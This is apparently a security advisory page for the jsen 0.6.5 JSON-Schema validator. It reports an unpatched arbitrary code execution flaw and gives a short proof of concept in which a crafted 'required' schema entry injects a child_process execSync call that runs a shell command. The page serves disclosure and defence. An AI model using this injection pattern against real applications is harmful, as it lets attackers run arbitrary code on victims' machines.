jsen@0.6.5 vulnerabilities

JSON-Schema validator built for speed

Direct Vulnerabilities

Known vulnerabilities in the jsen package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Arbitrary Code Execution

jsen is a JSON-Schema validator built for speed

Affected versions of this package are vulnerable to Arbitrary Code Execution. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so I assume that this is applicable.

In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC

const jsen = require('jsen');

let schema = JSON.parse(`
{
    "type": "object",
    "properties": {
        "username": {
            "type": "string"
        }
    },
    "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""]
}`);

const validate = jsen(schema);
validate({});

How to fix Arbitrary Code Execution?

There is no fixed version for jsen.

*